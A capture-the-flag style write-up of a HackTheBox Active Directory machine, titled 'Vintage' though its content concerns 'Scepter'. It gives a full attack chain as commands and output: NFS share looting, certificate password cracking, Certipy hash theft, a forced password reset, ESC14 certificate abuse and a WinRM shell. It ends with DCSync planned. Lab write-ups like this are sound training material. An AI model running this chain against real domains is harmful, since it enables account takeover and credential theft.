Vintage – HackTheBox Link to heading
- OS: Windows
- Difficulty: Hard
- Platform: HackTheBox
Synopsis Link to heading
“Scepter” is a Hard machine from HackTheBox platform. This machine teaches how to use certificate files (.pfx
) that are leaked in a machine for an Active Directory
domain, lateral movement with the help of BloodHound
, edit attributes to users and abuse Active Directory Certificate Services
(AD CS
) using these editable attributes.
User Link to heading
We start with a quick Nmap
scan:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.65
We find multiple ports open such as 53
DNS
, 88
Kerberos
, 111
and 2049
Network File System
(NFS
), 135
Microsoft RPC
, 389
LDAP
, 445
SMB
, 5985
WinRM
; among others. Since Kerberos
and SMB
services are running, we can guess we are against an Active Directory
environment.
We apply some recognition scans over these ports with -sVC
flag:
❯ sudo nmap -sVC -p53,88,111,135,139,389,445,464,593,636,2049,3268,3269,5985,5986,9389,47001,49664,49665,49666,49667,49671,49686,49687,49688,49689,49702,49718,49732 10.10.11.65
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-24 11:57 -04
Nmap scan report for 10.10.11.65
Host is up (0.36s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-24 23:58:11Z)
111/tcp open rpcbind?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-04-24T23:59:29+00:00; +8h00m03s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T23:59:30+00:00; +8h00m03s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
2049/tcp open mountd 1-3 (RPC #100005)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-04-24T23:59:29+00:00; +8h00m03s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T23:59:30+00:00; +8h00m02s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after: 2025-11-01T00:41:41
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2025-04-24T23:59:29+00:00; +8h00m03s from scanner time.
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49686/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49687/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
49718/tcp open msrpc Microsoft Windows RPC
49732/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 8h00m02s, deviation: 0s, median: 8h00m02s
| smb2-time:
| date: 2025-04-24T23:59:14
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 353.07 seconds
We can use NetExec
against the targtet machine to obtain the machine name along the domain:
❯ nxc smb 10.10.11.65
SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
Add the machine name (DC01
), the domain (scepter.htb
) and its FQDN
(DC01.scepter.htb
) along with its IP address to our /etc/hosts
file:
❯ echo -e '10.10.11.65 DC01 DC01.scepter.htb scepter.htb' | sudo tee -a /etc/hosts
Once added, we remember that NFS
service was running. This indicates that a mount can be exposed. We can check it using showmount
command:
❯ showmount -e DC01.scepter.htb
Export list for DC01.scepter.htb:
/helpdesk (everyone)
We have a mount called helpdesk
.
We will try to mount that directory into our attacker machine. For that, first create a directory that will store all the data:
❯ mkdir contentNFS
Now, since the shared resource had the name /helpdesk
, use mount
command and store it into our created directory:
❯ sudo mount -t nfs 10.10.11.65:/helpdesk ./contentNFS -o nolock
If we try to check its content we get access denied:
❯ cd contentNFS
cd: permission denied: contentNFS
Which can be solved using a shell as root
:
❯ sudo bash
┌──(root㉿kali)-[/home/gunzf0x/HTB/HTBMachines/Hard/Scepter/content]
└─# cd contentNFS/
┌──(root㉿kali)-[/home/gunzf0x/HTB/HTBMachines/Hard/Scepter/content/contentNFS]
└─# ls
baker.crt baker.key clark.pfx lewis.pfx scott.pfx
We have multiple .pfx
files (certificates for Active Directory Certificate Services
), a .crt
file and a .key
file. We can extract all its content using sudo
:
❯ sudo cp contentNFS/baker.crt contentNFS/baker.key contentNFS/clark.pfx contentNFS/lewis.pfx contentNFS/scott.pfx .
and remember to unmount this resource with umount
command:
❯ sudo umount ./contentNFS
We can confirm that files in the mount are now in our attacker machine:
❯ ls -la
total 32
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Apr 24 12:31 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Apr 24 11:54 ..
-rwx------ 1 root root 2484 Apr 24 12:31 baker.crt
-rwx------ 1 root root 2029 Apr 24 12:31 baker.key
-rwx------ 1 root root 3315 Apr 24 12:31 clark.pfx
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Apr 24 12:21 contentNFS
-rwx------ 1 root root 3315 Apr 24 12:31 lewis.pfx
-rwx------ 1 root root 3315 Apr 24 12:31 scott.pfx
Change the permissions of the copied files so we can read them later:
❯ sudo chmod 777 *.pfx
❯ sudo chmod 777 baker.crt
❯ sudo chmod 777 baker.key
If we attempt to authenticate using any of the .pfx
files with Certipy
tool we get an error:
❯ certipy auth -pfx scott.pfx -dc-ip 10.10.11.65 -username 'scott' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[-] Got error: Invalid password or PKCS12 data
[-] Use -debug to print a stacktrace
Apparently .pfx
files have a password.
We can use pfx2john
to pass the hashes of this files to a format that can then be later be cracked with JohnTheRipper
and attempt a Brute Force Password Cracking
with this tool:
❯ pfx2john clark.pfx > clark_pfx_hash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt clark_pfx_hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword (clark.pfx)
1g 0:00:00:00 DONE (2025-04-24 13:12) 3.571g/s 18285p/s 18285c/s 18285C/s cheska..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
❯ pfx2john scott.pfx > scott_pfx_hash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt scott_pfx_hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword (scott.pfx)
1g 0:00:00:00 DONE (2025-04-24 13:20) 3.703g/s 18962p/s 18962c/s 18962C/s cheska..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
All .pfx
files have the same password: newpassword
.
Based on The Hacker Recipes to perform a PassTheCert
attack we can use Certipy
to “unprotect” these files. For example, for scott.pfx
file:
❯ certipy cert -export -pfx scott.pfx -password "newpassword" -out unprotected_scott.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing PFX to 'unprotected_scott.pfx'
We can also create a list of potential users:
❯ echo -e 'Administrator\nbaker\nclark\nlewis\nscott' > potential_users.txt
❯ cat potential_users.txt
Administrator
baker
clark
lewis
scott
and check with Kerbrute
if they exist:
❯ kerbrute userenum -d scepter.htb --dc 10.10.11.65 potential_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/24/25 - Ronnie Flathers @ropnop
2025/04/24 13:33:10 > Using KDC(s):
2025/04/24 13:33:10 > 10.10.11.65:88
2025/04/24 13:33:11 > [+] VALID USERNAME: Administrator@scepter.htb
2025/04/24 13:33:11 > Done! Tested 5 usernames (1 valid) in 0.488 seconds
We only get, for the moment, that Administrator
user exists. This means that, for example, scott.pfx
file is not a file for scott
user.
However, if we use the “unprotected” .pfx
file, Certipy
suggests the name of the real owner:
❯ certipy auth -pfx unprotected_scott.pfx -dc-ip 10.10.11.65 -username 'scott' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] The provided username does not match the identification found in the provided certificate: 'SCOTT' - 'o.scott'
Do you want to continue? (Y/n)
Which can also be obtained if we use grep
with the unprotected .pfx
file:
❯ cat unprotected_scott.pfx | grep -a scott
&,dscepter10
0 *H UUsers10Uo.scott0"0
+7
o.scott@scepter.htb0K +7>0<:
Since clark.pfx
, lewus.pfx
and scott.pfx
share all the same password we can create “unprotected” .pfx
files of all of them in a simple Bash
oneliner:
❯ for user in scott lewis clark; do certipy cert -export -pfx ${user}.pfx -password "newpassword" -out unprotected_${user}.pfx; done
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing PFX to 'unprotected_scott.pfx'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing PFX to 'unprotected_lewis.pfx'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing PFX to 'unprotected_clark.pfx'
and use the unprotected .pfx
files to get the real usernames:
❯ for user in scott lewis clark; do strings unprotected_${user}.pfx | grep $user; done | tr -d '0K'
o.scott
o.scott@scepter.htb
e.lewis
e.lewis@scepter.htb
m.clark
m.clark@scepter.htb
But even using the unprotected .pfx
files for all these users, they don’t work:
❯ certipy auth -pfx unprotected_scott.pfx -dc-ip 10.10.11.65 -username 'o.scott' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: o.scott@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
❯ certipy auth -pfx unprotected_lewis.pfx -dc-ip 10.10.11.65 -username 'e.lewis' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: e.lewis@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
❯ certipy auth -pfx unprotected_clark.pfx -dc-ip 10.10.11.65 -username 'm.clark' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: m.clark@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
We get the error: KDC_ERR_CLIENT_REVOKED
. In short, based on Microsoft documentation this could be since the target accounts are disabled, locked or expired.
If we create an “updated” list of target users and use Kerbrute
, we can see that these users do not exist in the domain:
❯ echo -e 'Administrator\nbaker\nm.clark\ne.lewis\no.scott' > potential_users_updated.txt
❯ kerbrute userenum -d scepter.htb --dc 10.10.11.65 potential_users_updated.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/24/25 - Ronnie Flathers @ropnop
2025/04/24 13:41:52 > Using KDC(s):
2025/04/24 13:41:52 > 10.10.11.65:88
2025/04/24 13:41:52 > [+] VALID USERNAME: Administrator@scepter.htb
2025/04/24 13:41:52 > Done! Tested 5 usernames (1 valid) in 0.442 seconds
The only thing that left is the baker.crt
and baker.key
files. Since all the .pfx
files had as password newpassword
, use that password when we try to generate a new pfx
file using OpenSSL
:
❯ openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt
Enter pass phrase for baker.key: newpassword
Enter Export Password:
Verifying - Enter Export Password:
Where, for the last 2 lines, we have set an empty password (no password) just pressing ENTER
.
Use this file to authenticate with Certipy
:
❯ certipy auth -pfx baker.pfx -dc-ip 10.10.11.65 -username 'baker' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] The provided username does not match the identification found in the provided certificate: 'BAKER' - 'd.baker'
Do you want to continue? (Y/n)
This file is for d.baker
user.
Using Kerbrute
, d.baker
use does exist in the domain:
❯ echo -e 'Administrator\nd.baker' > potential_users_updated_2.txt
❯ kerbrute userenum -d scepter.htb --dc 10.10.11.65 potential_users_updated_2.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/24/25 - Ronnie Flathers @ropnop
2025/04/24 13:58:53 > Using KDC(s):
2025/04/24 13:58:53 > 10.10.11.65:88
2025/04/24 13:58:53 > [+] VALID USERNAME: Administrator@scepter.htb
2025/04/24 13:58:53 > [+] VALID USERNAME: d.baker@scepter.htb
2025/04/24 13:58:53 > Done! Tested 2 usernames (2 valid) in 0.491 seconds
Therefore, run Certipy
to authenticate as d.baker
user:
❯ certipy auth -pfx baker.pfx -dc-ip 10.10.11.65 -username 'd.baker' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: d.baker@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Our old friend KRB_AP_ERR_SKEW
is back.
Use faketime
along with ntpdate
to solve this issue repeating the previous command:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy auth -pfx baker.pfx -dc-ip 10.10.11.65 -username 'd.baker' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: d.baker@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
We got an NT
hash for d.baker
user.
Check if this hash is correct with NetExec
for this user:
❯ nxc smb 10.10.11.65 -u 'd.baker' -H '18b5fb0d99e7a475316213c15b6f22ce'
SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
It is.
We can now extract information about the domain with bloodhound-python
(along with faketime
to avoid clock issues):
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodhound-python -c ALL -u d.baker --hashes ':18b5fb0d99e7a475316213c15b6f22ce' -d scepter.htb -ns 10.10.11.65 -dc DC01.scepter.htb --zip
INFO: Found AD domain: scepter.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.scepter.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC01.scepter.htb
INFO: Found 11 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.scepter.htb
INFO: Done in 00M 52S
INFO: Compressing output into 20250424225850_bloodhound.zip
We upload the generated .zip
file to Bloodhound
(in my case I use the Community Edition
, or CE
) and search for d.baker
user. We can see, at the right side, that we have the option Outbound Object Control
where we can see:
We have ForceChangePassword
right over a.carter
user.
We can then change the password of a.carter
user using changepasswd.py
from Impacket
suite:
❯ impacket-changepasswd scepter.htb/a.carter@10.10.11.65 -newpass 'GunZf0x123!$' -altuser 'd.baker' -althash '18b5fb0d99e7a475316213c15b6f22ce' -no-pass -reset
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Setting the password of scepter.htb\a.carter as scepter.htb\d.baker
[*] Connecting to DCE/RPC as scepter.htb\d.baker
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
Where we are changing the password of a.carter
user to GunZf0x123!$
.
a.carter
user every ~10 minutes.Back to Bloodhound
, we can see that a.carter
user is part of IT Support
group. This group has GenericAll
permissions over Staff Access Certificate Organizational Unit
(OU
). At the same time, this OU
contains d.baker
user. A path summarized by Bloodhound
is then:
To grant FullControl
(or GenericAll
) permissions over STAFF ACCESS CERTIFICATE
we can use bloodyAD
. Here, we add GenericAll
permissions to d.baker
user using a.carter
credentials:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -d scepter.htb -u a.carter -p 'GunZf0x123!$' --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" d.baker
[+] d.baker has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB
Since the OU
name was STAFF ACCESS CERTIFICATE
, we might now have access to some certificates that can be abused in this machine. For that we can use Certipy
:
❯ certipy find -username d.baker@sequel.htb -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -dc-ip 10.10.11.65 -vulnerable -enabled -stdout
<SNIP>
CA Name : scepter-DC01-CA
DNS Name : dc01.scepter.htb
Certificate Subject : CN=scepter-DC01-CA, DC=scepter, DC=htb
<SNIP>
Template Name : StaffAccessCertificate
Display Name : StaffAccessCertificate
Certificate Authorities : scepter-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireEmail
SubjectRequireDnsAsCn
SubjectAltRequireEmail
Enrollment Flag : NoSecurityExtension
AutoEnrollment
Private Key Flag : 16842752
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 99 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : SCEPTER.HTB\staff
Object Control Permissions
Owner : SCEPTER.HTB\Enterprise Admins
Full Control Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Owner Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Dacl Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Property Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
[!] Vulnerabilities
ESC9 : 'SCEPTER.HTB\\staff' can enroll and template has no security extension
We get that this machine is vulnerable to ESC9
. However, this is a fake positive. We have already exploited ESC9
at Certified Machine. But this does not work in this case.
We can see the flags SubjectAltRequireEmail
and NoSecurityExtension
for a certificate template named StaffAccessCertificate
with CA
(Certification Authority
) scepter-DC01-CA
. Searching a little bit we reach this SpecterOps blog talking about ESC14. An escalation method that allows to specify mapping to altSecurityIdentities
attribute. To search for this attribute we can use ldapsearch
along with credentials for a.carter
user, filtering by altSecurityIdentities
string. We get:
❯ ldapsearch -x -H ldap://10.10.11.65 -D 'a.carter@scepter.htb' -w 'GunZf0x123!$' -b "DC=scepter,DC=htb" | grep altSecurityIdentities
altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb
We get the value X509:<RFC822>h.brown@scepter.htb
.
If we read the blog (which I highly recommend to understand this attack) and search for RFC822
, we get that we can abuse ESC14 targeting an email:
The target has a weak X509RFC822 explicit mapping in altSecurityIdentities. The attacker can set the mail attribute on a victim principal to match the X509RFC822 mapping of the target. Then, the attacker can enroll a certificate as the victim and use this certificate to authenticate as the target.
In this case, it is clearly an email for h.brown
user; a user that exists in the domain (as we can see at Bloodhound
).
In short, we can set the email
attribute of our current user (d.baker
, which we have granted GenericAll
permissions over Staff Access Certificate
OU
) to match the email in the X509:<RFC822>
field, which was h.brown@scepter.htb
. We can attempt this using bloodyAD
:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' --host 10.10.11.65 -d scepter.htb set object d.baker mail -v h.brown@scepter.htb
[+] d.baker's mail has been updated
Here, we have changed the email of d.baker
user to h.brown@scepter.htb
.
Now, following the blog, we need to request a a certificate, using the template StaffAccessCertificate
as d.baker
user. We can use Certipy
for this purpose using d.baker
(who has its email updated):
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy req -u d.baker -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' -dc-ip 10.10.11.65 -target dc01.scepter.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'
This generates a .pfx
file that can be used to authenticate as h.brown
user.
Use Certipy
to use this .pfx
file to authenticate as h.brown
user and obtain its NT
hash:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -username 'h.brown' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: h.brown@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
and also generates a .ccache
file for h.brown
user.
Apparently, this hash is correct, but returns STATUS_ACCOUNT_RESTRICTION
status:
❯ nxc smb 10.10.11.65 -u 'h.brown' -H '4ecf5242092c6fb8c360a08069c75a0c'
SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [-] scepter.htb\h.brown:4ecf5242092c6fb8c360a08069c75a0c STATUS_ACCOUNT_RESTRICTION
But we can check if the generated .ccache
file works to log in as this user:
❯ KRB5CCNAME=h.brown.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" nxc smb 10.10.11.65 -u 'h.brown' -k --use-kcache
SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] SCEPTER.HTB\h.brown from ccache
If we check Bloodhound
, this user belongs to Remote Management Users
group. Which means this user should be able to log into the victim machine through WinRM
service.
To be able to log in through WinRM
with evil-winrm
, we need to edit /etc/krb5.conf
file. NetExec
, from version 1.4.0
(which can be checked running nxc --version
; if its not updated and we have installed it with pipx
we can run pipx upgrade netexec
), has an option --generate-krb5-file
for SMB
module to easily generate a configuration file for Kerberos
that can replace /etc/krb5.conf
file:
❯ nxc smb 10.10.11.65 -u '' -p '' --generate-krb5-file GENERATED_KRB5_CONF
SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] scepter.htb\:
❯ cat GENERATED_KRB5_CONF
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = SCEPTER.HTB
[realms]
SCEPTER.HTB = {
kdc = dc01.scepter.htb
admin_server = dc01.scepter.htb
default_domain = scepter.htb
}
[domain_realm]
.scepter.htb = SCEPTER.HTB
scepter.htb = SCEPTER.HTB
Create a “backup” of our original /etc/krb5.conf
file:
❯ sudo cp /etc/krb5.conf /etc/krb5_backup.conf
and replace /etc/krb5.conf
file by the generated configuration file:
❯ sudo cp GENERATED_KRB5_CONF /etc/krb5.conf
Finally, use evil-winrm
(along with faketime
to avoid clock issues) to log into the victim machine as h.brown
user:
❯ KRB5CCNAME=h.brown.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" evil-winrm -i DC01.scepter.htb -r SCEPTER.HTB
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\h.brown\Documents>
We can grab the user flag at h.brown
’s Desktop.
NT Authority/System - Administrator Link to heading
From Bloodhound
we can see that h.brown
user is part of the group CMS
, whose description is Certificate Management Service
. Since we have already abused altSecurityIdentities
, we can enumerate them into the victim machine using Get-WriteAltSeclDACEs.ps1. Download it into our attacker machine:
❯ wget https://raw.githubusercontent.com/JonasBK/Powershell/refs/heads/master/Get-WriteAltSecIDACEs.ps1 -q
and upload it using evil-winrm
with its upload
function to the victim machine:
*Evil-WinRM* PS C:\Users\h.brown\Documents> upload Get-WriteAltSecIDACEs.ps1
<SNIP>
*Evil-WinRM* PS C:\Users\h.brown\Documents> Import-Module .\Get-WriteAltSecIDACEs.ps1
Then, based on The Hacker Recipes, we can use this tool to see if we can edit this attribute for any user:
*Evil-WinRM* PS C:\Users\h.brown\Documents> Get-ADObject -Filter * -SearchBase "dc=SCEPTER,dc=HTB" | Get-WriteAltSecIDACEs
ObjectDN : CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
InheritedObjectTypeName : User
ObjectTypeName : Alt-Security-Identities
ActiveDirectoryRights : WriteProperty
InheritanceType : All
ObjectType : 00fbf30c-91fe-11d1-aebc-0000f80367c1
InheritedObjectType : bf967aba-0de6-11d0-a285-00aa003049e2
ObjectFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
AccessControlType : Allow
IdentityReference : SCEPTER\CMS
IsInherited : True
InheritanceFlags : ContainerInherit
PropagationFlags : None
ObjectDN : OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
InheritedObjectTypeName : User
ObjectTypeName : Alt-Security-Identities
ActiveDirectoryRights : WriteProperty
InheritanceType : Descendents
ObjectType : 00fbf30c-91fe-11d1-aebc-0000f80367c1
InheritedObjectType : bf967aba-0de6-11d0-a285-00aa003049e2
ObjectFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
AccessControlType : Allow
IdentityReference : SCEPTER\CMS
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : InheritOnly
We can write and change altSecurityIdentities
for a user called p.adams
and an OU
called Helpdesk Enrollment Certificate
.
Searching for p.adams
user at Bloodhound
we get:
This user is part of Replication Operators
group and is able to perform a DCSync
attack over the domain, which would allow us to obtain the NT
hash for Administrator
user if we impersonate it. Therefore, p.adams
is our juicy target now.
